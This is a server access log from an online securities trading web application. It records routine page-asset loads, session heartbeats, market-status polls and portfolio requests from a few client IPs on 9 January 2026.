[09/Jan/2026:13:26:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-migrate-3.0.0.js HTTP/1.1" 4963
[09/Jan/2026:13:26:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-1.10.3.js HTTP/1.1" 69642
[09/Jan/2026:13:26:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-3.3.1.js HTTP/1.1" 80650
[09/Jan/2026:13:26:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/atmosphere.js HTTP/1.1" 13461
[09/Jan/2026:13:26:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/cache.js?jsv=20200819161914 HTTP/1.1" 940
[09/Jan/2026:13:26:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.form-3.46.0.js HTTP/1.1" 5673
[09/Jan/2026:13:26:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.blockUI-2.66.0.js HTTP/1.1" 6651
[09/Jan/2026:13:26:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.validate-1.11.1.js HTTP/1.1" 7041
[09/Jan/2026:13:26:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.mousewheel-3.1.4.js HTTP/1.1" 822
[09/Jan/2026:13:26:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/additional-methods.js HTTP/1.1" 2238
[09/Jan/2026:13:26:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.timer-0.9.16.js HTTP/1.1" 542
[09/Jan/2026:13:26:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.combobox.packed.js HTTP/1.1" 3387
[09/Jan/2026:13:26:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter-2.14.5.js HTTP/1.1" 8901
[09/Jan/2026:13:26:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.getParams.js HTTP/1.1" 587
[09/Jan/2026:13:26:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter.widgets-2.14.5.js HTTP/1.1" 8611
[09/Jan/2026:13:26:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.selectboxes.pack.js HTTP/1.1" 1640
[09/Jan/2026:13:26:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/date.js HTTP/1.1" 2807
[09/Jan/2026:13:26:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/globalize-0.1.0a1.js HTTP/1.1" 6984
[09/Jan/2026:13:26:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/json/json2.js?jsv=20200819161914 HTTP/1.1" 1372
[09/Jan/2026:13:26:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/settings/crm_display_settings.js?jsv=20200819161914 HTTP/1.1" 1781
[09/Jan/2026:13:26:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/translation.js?jsv=20200819161914 HTTP/1.1" 12818
[09/Jan/2026:13:26:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/constants.js?jsv=20200819161914 HTTP/1.1" 400
[09/Jan/2026:13:26:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/custom_variables.js?jsv=20200819161914 HTTP/1.1" 275
[09/Jan/2026:13:26:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/util.js?jsv=20200819161914 HTTP/1.1" 6636
[09/Jan/2026:13:26:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/init.js?jsv=20200819161914 HTTP/1.1" 886
[09/Jan/2026:13:26:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/haitong.js?jsv=20200819161914 HTTP/1.1" 3881
[09/Jan/2026:13:26:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsautil.js?jsv=20200819161914 HTTP/1.1" 1017
[09/Jan/2026:13:26:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/corporate.js?jsv=20200819161914 HTTP/1.1" 1575
[09/Jan/2026:13:26:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/main.js?jsv=20200819161914 HTTP/1.1" 30725
[09/Jan/2026:13:26:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/update_mdf.js?jsv=20200819161914 HTTP/1.1" 856
[09/Jan/2026:13:26:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_hkex.js?jsv=20200819161914 HTTP/1.1" 2300
[09/Jan/2026:13:26:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_bshare.js?jsv=20200819161914 HTTP/1.1" 1567
[09/Jan/2026:13:26:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_ashare.js?jsv=20200819161914 HTTP/1.1" 2482
[09/Jan/2026:13:26:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_global.js?jsv=20200819161914 HTTP/1.1" 1564
[09/Jan/2026:13:26:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/account.js?jsv=20200819161914 HTTP/1.1" 2656
[09/Jan/2026:13:26:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/cash_transfer.js?jsv=20200819161914 HTTP/1.1" 2712
[09/Jan/2026:13:26:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/ipo.js?jsv=20200819161914 HTTP/1.1" 5726
[09/Jan/2026:13:26:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/spread_cache.js?jsv=20200819161914 HTTP/1.1" 908
[09/Jan/2026:13:26:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/isec_calculator.js?jsv=20200819161914 HTTP/1.1" 1364
[09/Jan/2026:13:26:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/mm.js?jsv=20200819161914 HTTP/1.1" 487
[09/Jan/2026:13:26:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/payment_instruction.js?jsv=20200819161914 HTTP/1.1" 2178
[09/Jan/2026:13:26:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/payment_instruction_IMOS.js?jsv=20200819161914 HTTP/1.1" 6874
[09/Jan/2026:13:26:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/eStatement.js?jsv=20200819161914 HTTP/1.1" 562
[09/Jan/2026:13:26:59 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936694735 HTTP/1.1" -
[09/Jan/2026:13:26:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/ExchangeList?fmt=js&jsv=20200819161914 HTTP/1.1" 146
[09/Jan/2026:13:26:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/string_extend.js?jsv=20200819161914 HTTP/1.1" 272
[09/Jan/2026:13:26:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt.js?jsv=20200819161914 HTTP/1.1" 982
[09/Jan/2026:13:26:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_cbc.js?jsv=20200819161914 HTTP/1.1" 2043
[09/Jan/2026:13:26:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_core.js?jsv=20200819161914 HTTP/1.1" 2106
[09/Jan/2026:13:26:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt_util.js?jsv=20200819161914 HTTP/1.1" 1206
[09/Jan/2026:13:26:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/asn1.js?jsv=20200819161914 HTTP/1.1" 3099
[09/Jan/2026:13:26:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/sha256.js?jsv=20200819161914 HTTP/1.1" 1362
[09/Jan/2026:13:26:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/md5.js?jsv=20200819161914 HTTP/1.1" 1730
[09/Jan/2026:13:26:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jsbn.js?jsv=20200819161914 HTTP/1.1" 6736
[09/Jan/2026:13:26:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/prng4.js?jsv=20200819161914 HTTP/1.1" 303
[09/Jan/2026:13:26:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rng.js?jsv=20200819161914 HTTP/1.1" 481
[09/Jan/2026:13:26:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsa.js?jsv=20200819161914 HTTP/1.1" 1658
[09/Jan/2026:13:26:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes.js?jsv=20200819161914 HTTP/1.1" 4816
[09/Jan/2026:13:26:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/utilSpec.js?jsv=20200819161914 HTTP/1.1" 27
[09/Jan/2026:13:26:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/mode-ecb.js?jsv=20200819161914 HTTP/1.1" 199
[09/Jan/2026:13:26:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pw_alert.js?jsv=20200819161914 HTTP/1.1" 418
[09/Jan/2026:13:26:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/update_lastlogin.js?jsv=20200819161914 HTTP/1.1" 980
[09/Jan/2026:13:26:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.jscrollpane.js HTTP/1.1" 685
[09/Jan/2026:13:26:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.mousewheel.js HTTP/1.1" 684
[09/Jan/2026:13:26:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.cookie.js HTTP/1.1" 834
[09/Jan/2026:13:26:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/logo.png HTTP/1.1" 7042
[09/Jan/2026:13:26:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/GoodTillDateValidExch?fmt=js&jsv=20200819161914 HTTP/1.1" 29
[09/Jan/2026:13:26:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/decimal.js HTTP/1.1" 13492
[09/Jan/2026:13:26:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu01.jpg HTTP/1.1" 3466
[09/Jan/2026:13:26:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu04.jpg HTTP/1.1" 3430
[09/Jan/2026:13:26:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu_logout.jpg HTTP/1.1" 1016
[09/Jan/2026:13:26:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/PopUpConfig HTTP/1.1" 2
[09/Jan/2026:13:26:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg3.jpg HTTP/1.1" 878
[09/Jan/2026:13:26:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg1.jpg HTTP/1.1" 329
[09/Jan/2026:13:26:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg2.jpg HTTP/1.1" 330
[09/Jan/2026:13:26:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:26:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/dialog.html?1767936688549 HTTP/1.1" 3188
[09/Jan/2026:13:26:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CustomerInfoLite HTTP/1.1" 124
[09/Jan/2026:13:26:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu01_o.jpg HTTP/1.1" 3339
[09/Jan/2026:13:26:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/trade.html HTTP/1.1" 2113
[09/Jan/2026:13:26:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SpreadPriceCache HTTP/1.1" 1947
[09/Jan/2026:13:26:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:13:26:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:26:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/GetLastLoginDate HTTP/1.1" 31
[09/Jan/2026:13:26:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:26:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/getpopupMsgName.jsp HTTP/1.1" -
[09/Jan/2026:13:26:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/trade_point01.jpg HTTP/1.1" 358
[09/Jan/2026:13:26:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/applet_dummy.html HTTP/1.1" 330
[09/Jan/2026:13:26:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/refresh.gif HTTP/1.1" 1145
[09/Jan/2026:13:26:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:26:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/buy_ticket.html? HTTP/1.1" 1995
[09/Jan/2026:13:26:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:27:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:27:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:27:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/multi_currency_balance.html HTTP/1.1" 295
[09/Jan/2026:13:27:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:13:27:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/Home/PostToAA.jsp?hl=tc HTTP/1.1" 293
[09/Jan/2026:13:27:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/images/ui-icons_222222_256x240.png HTTP/1.1" 6922
[09/Jan/2026:13:27:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/images/ui-bg_flat_75_ffffff_40x100.png HTTP/1.1" 208
[09/Jan/2026:13:27:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:27:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:27:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:27:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:27:00 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936688130 HTTP/1.1" -
[09/Jan/2026:13:27:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:27:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CustomerInfo HTTP/1.1" 223
[09/Jan/2026:13:27:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:27:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/account_status.html HTTP/1.1" 426
[09/Jan/2026:13:27:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:27:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:27:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:27:02 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936707112 HTTP/1.1" -
[09/Jan/2026:13:27:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:13:27:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:27:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LongPollingConfig HTTP/1.1" 4
[09/Jan/2026:13:27:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:13:27:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:27:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936691331 HTTP/1.1" -
[09/Jan/2026:13:27:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Portfolio HTTP/1.1" 1907
[09/Jan/2026:13:27:04 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:27:04 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:27:04 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:27:04 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:27:04 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:27:04 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:27:04 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:27:05 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:27:05 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936693201 HTTP/1.1" -
[09/Jan/2026:13:27:06 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936699806 HTTP/1.1" -
[09/Jan/2026:13:27:07 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936712145 HTTP/1.1" -
[09/Jan/2026:13:27:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936696383 HTTP/1.1" -
[09/Jan/2026:13:27:10 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936698275 HTTP/1.1" -
[09/Jan/2026:13:27:11 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936707107 HTTP/1.1" -
[09/Jan/2026:13:27:12 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936717171 HTTP/1.1" -
[09/Jan/2026:13:27:12 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936701520 HTTP/1.1" -
[09/Jan/2026:13:27:15 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936703355 HTTP/1.1" -
[09/Jan/2026:13:27:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:27:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
